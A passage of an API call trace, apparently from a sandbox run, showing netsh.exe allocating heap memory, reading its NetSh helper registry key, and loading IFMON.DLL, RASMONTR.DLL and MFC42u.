Size=0x10) returned 0x1fe23440690 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440770 [0157.553] GetProcessHeap () returned 0x1fe23430000 [0157.553] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440af0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440a50 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440790 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440a10 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234406f0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440b50 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234409f0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440b10 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440a70 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234408d0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440730 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440910 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234407b0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440ab0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440590 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440b70 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234406b0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.554] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234406d0 [0157.554] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440bb0 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440950 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440550 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234409b0 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234405f0 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440970 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440630 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234407f0 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440830 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.555] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234409d0 [0157.555] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440810 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440710 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440c50 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234405b0 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440650 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440670 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440c10 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440990 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234405d0 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440a30 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440b90 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440610 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440a90 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440850 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440ad0 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440c70 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440bd0 [0157.556] GetProcessHeap () returned 0x1fe23430000 [0157.556] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440b30 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440870 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440bf0 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440890 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234408b0 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440c30 [0157.557] GetProcessHeap () returned 0x1fe23430000 [0157.557] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234408f0 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440930 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440c90 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440cb0 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440530 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441380 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441340 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441480 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441000 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440d40 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441020 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234411c0 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234412a0 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441360 [0157.559] GetProcessHeap () returned 0x1fe23430000 [0157.559] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441140 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234410c0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440fe0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441060 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234414c0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234412c0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441160 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441180 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441260 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440f60 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234413a0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234413c0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441040 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441280 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe234410e0 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441320 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441100 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23441240 [0157.560] GetProcessHeap () returned 0x1fe23430000 [0157.560] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x10) returned 0x1fe23440f80 [0157.560] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0157.560] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x28) returned 0x1fe2343bac0 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x2) returned 0x1fe2343df20 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x14) returned 0x1fe234413e0 [0157.561] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x0) returned 1 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x58) returned 0x1fe23435b90 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x0) returned 1 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0xb0) returned 0x1fe23435510 [0157.561] GetProcessHeap () returned 0x1fe23430000 [0157.561] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23435b90) returned 1 [0157.561] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ffe86bd0000 [0157.564] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x828a4f78d8 | out: phkResult=0x828a4f78d8*=0xb4) returned 0x0 [0157.564] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x828a4f7910, lpcbMaxValueNameLen=0x828a4f7920, lpcbMaxValueLen=0x828a4f7918, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x828a4f7910*=0x14, lpcbMaxValueNameLen=0x828a4f7920, lpcbMaxValueLen=0x828a4f7918, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x8, Size=0x16) returned 0x1fe23440fa0 [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x8, Size=0x23) returned 0x1fe2343b910 [0157.564] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="2", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0157.564] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0157.564] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x50) returned 0x1fe234415b0 [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x4) returned 0x1fe2343dec0 [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x14) returned 0x1fe23441220 [0157.564] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0157.564] GetProcessHeap () returned 0x1fe23430000 [0157.564] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe2343bac0) returned 1 [0157.564] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7f710000 [0157.586] GetProcAddress (hModule=0x7ffe7f710000, lpProcName="InitHelperDll") returned 0x7ffe7f711310 [0157.586] InitHelperDll () returned 0x0 [0157.589] RegisterHelper () returned 0x0 [0157.589] GetProcessHeap () returned 0x1fe23430000 [0157.589] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x108) returned 0x1fe234342e0 [0157.589] GetProcessHeap () returned 0x1fe23430000 [0157.589] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe23435510) returned 1 [0157.625] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x1fe23440fa0, lpcchValueName=0x828a4f78d0, lpReserved=0x0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928 | out: lpValueName="4", lpcchValueName=0x828a4f78d0, lpType=0x0, lpData=0x1fe2343b910, lpcbData=0x828a4f7928) returned 0x0 [0157.625] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0157.625] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0157.625] GetProcessHeap () returned 0x1fe23430000 [0157.625] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x78) returned 0x1fe23435510 [0157.625] GetProcessHeap () returned 0x1fe23430000 [0157.625] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x4) returned 0x1fe2343df10 [0157.625] GetProcessHeap () returned 0x1fe23430000 [0157.625] RtlAllocateHeap (HeapHandle=0x1fe23430000, Flags=0x0, Size=0x1a) returned 0x1fe2343b880 [0157.625] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0157.625] GetProcessHeap () returned 0x1fe23430000 [0157.625] RtlFreeHeap (HeapHandle=0x1fe23430000, Flags=0x0, BaseAddress=0x1fe234415b0) returned 1 [0157.625] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffe7f600000 [0157.876] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ffe88cd0000 [0157.877] GetVersion () returned 0x3ad7000a [0157.877] SetErrorMode (uMode=0x0) returned 0x0 [0157.877] SetErrorMode (uMode=0x8001) returned 0x0 [0157.877] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x1fe23452c20 [0157.877] LocalFree (hMem=0x1fe23452c20) returned 0x0 [0157.878] GetVersion () returned 0x3ad7000a [0157.880] GlobalLock (hMem=0x1fe24d70008) returned 0x1fe23452c20 [0157.880] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1fe23452e40 [0157.880] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1fe23449390 [0157.880] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1fe23441080 [0157.880] malloc (_Size=0x100) returned 0x1fe235c6de0 [0157.881] __dllonexit () returned 0x7ffe7d5d1200 [0157.881] __dllonexit () returned 0x7ffe7d5d11f0 [0157.882] __dllonexit () returned 0x7ffe7d5d1240 [0157.882] __dllonexit () returned 0x7ffe7d5d12a0 [0157.882] __dllonexit () returned 0x7ffe7d5d1390 [0157.882] __dllonexit () returned 0x7ffe7d5d13a0 [0157.882] __dllonexit () returned 0x7ffe7d5d1420 [0157.882] __dllonexit () returned 0x7ffe7d5d14c0 [0157.882] __dllonexit () returned 0x7ffe7d5d12c0 [0157.882] __dllonexit () returned 0x7ffe7d5f59c0 [0157.882] __dllonexit () returned 0x7ffe7d5d12e0 [0157.882] __dllonexit () returned 0x7ffe7d5d1470 [0157.883] __dllonexit () returned 0x7ffe7d5d1490 [0157.883] __dllonexit () returned 0x7ffe7d5d14e0 [0157.883] __dllonexit () returned 0x7ffe7d5d1500 [0157.883] __dllonexit () returned 0x7ffe7d5d1520 [0157.883] __dllonexit () returned 0x7ffe7d5d1550 [0157.883] __dllonexit () returned 0x7ffe7d5d1610 [0157.883] __dllonexit () returned 0x7ffe7d5d1050 [0157.883] __dllonexit () returned 0x7ffe7d5d1070 [0157.883] __dllonexit () returned 0x7ffe7d5d1030 [0157.886] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc153 [0157.887] __dllonexit () returned 0x7ffe7d5f59a0 [0157.887] __dllonexit () returned 0x7ffe7d5f5980 [0157.887] __dllonexit () returned 0x7ffe7d5f59b0 [0157.887] __dllonexit () returned 0x7ffe7d5f5990 [0157.888] GetVersion () returned 0x3ad7000a [0157.888] GetVersion () returned 0x3ad7000a [0157.888] GetVersion () returned 0x3ad7000a [0157.888] __dllonexit () returned 0x7ffe7d5e28e0 [0157.888] __dllonexit () returned 0x7ffe7d5e2910 [0157.888] __dllonexit () returned 0x7ffe7d5d1300 [0157.888] __dllonexit () returned 0x7ffe7d5d13b0 [0157.888] __dllonexit () returned 0x7ffe7d5d13d0 [0157.888] __dllonexit () returned 0x7ffe7d5e26e0 [0157.888] GetVersion () returned 0x3ad7000a [0157.889] GetProcessVersion (ProcessId=0x0) returned 0xa0000 [0157.889] GetSystemMetrics (nIndex=11) returned 32 [0157.889] GetSystemMetrics (nIndex=12) returned 32 [0157.889] GetSystemMetrics (nIndex=2) returned 17 [0157.889] GetSystemMetrics (nIndex=3) returned 17 [0157.889] GetDC (hWnd=0x0) returned 0x10105c5 [0157.889] GetDeviceCaps (hdc=0x10105c5, index=88) returned 96 [0157.889] GetDeviceCaps (hdc=0x10105c5, index=90) returned 96 [0157.889] ReleaseDC (hWnd=0x0, hDC=0x10105c5) returned 1 [0157.889] GetSysColor (nIndex=15) returned 0xf0f0f0 [0157.889] GetSysColor (nIndex=16) returned 0xa0a0a0 [0157.889] GetSysColor (nIndex=20) returned 0xffffff [0157.889] GetSysColor (nIndex=18) returned 0x0 [0157.889] GetSysColor (nIndex=6) returned 0x646464 [0157.889] GetSysColorBrush (nIndex=15) returned 0x100072 [0157.889] GetSysColorBrush (nIndex=6) returned 0x10007a [0157.889] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0157.889] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0157.890] __dllonexit () returned 0x7ffe7d5d1450 [0157.890] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc151 [0157.890] __dllonexit () returned 0x7ffe7d5e26c0 [0157.890] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0157.890] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0157.890] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0157.890] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0157.890] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0157.890] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0157.890] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0157.890] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0157.890] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0157.890] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0157.890] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0e4 [0157.890] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0ed [0157.891] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc151 [0157.891] __dllonexit () returned 0x7ffe7d5f59d0 [0157.891] __dllonexit () returned 0x7ffe7d5f59f0 [0157.891] __dllonexit () returned 0x7ffe7d5f5a00 [0157.891] __dllonexit () returned 0x7ffe7d5f5a10 [0157.892] __dllonexit () returned 0x7ffe7d5f5a20 [0157.892] GetCursorPos (in: lpPoint=0x7ffe7d715ae8 | out: lpPoint=0x7ffe7d715ae8*(x=340, y=703)) returned 1 [0157.892] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1fe23451850 [0157.892] LocalReAlloc (hMem=0x1fe23441080, uBytes=0x18, uFlags=0x2) returned 0x1fe23435870 [0157.892] GetCurrentThread () returned 0xfffffffffffffffe [0157.892] GetCurrentThreadId () returned 0x2a0 [0157.892] __dllonexit () returned 0x7ffe7d5d1620 [0157.892] SetErrorMode (uMode=0x0) returned 0x8001 [0157.893] SetErrorMode (uMode=0x8001) returned 0x0 [0157.893] GetModuleFileNameW (in: hModule=0x7ffe7d5d0000, lpFilename=0x828a4f68b0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0157.893] wcscpy_s (in: _Destination=0x828a4f6ac0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0157.893] FindResourceW (hModule=0x7ffe7d5d0000, lpName=0xe01, lpType=0x6) returned 0x1fe23560bb0 [0157.897] LoadStringW (in: hInstance=0x7ffe7d5d0000, uID=0xe000, lpBuffer=0x828a4f6cd0, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0157.897] wcscpy_s (in: _Destination=0x828a4f68e4, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0157.897] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0157.900] malloc (_Size=0x80) returned 0x1fe235c6e00 [0157.900] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x1fe23453190 [0157.900] GetSystemDirectoryA (in: lpBuffer=0x828a4f6f50, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0157.900] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0 [0157.900] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0 [0157.900] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: 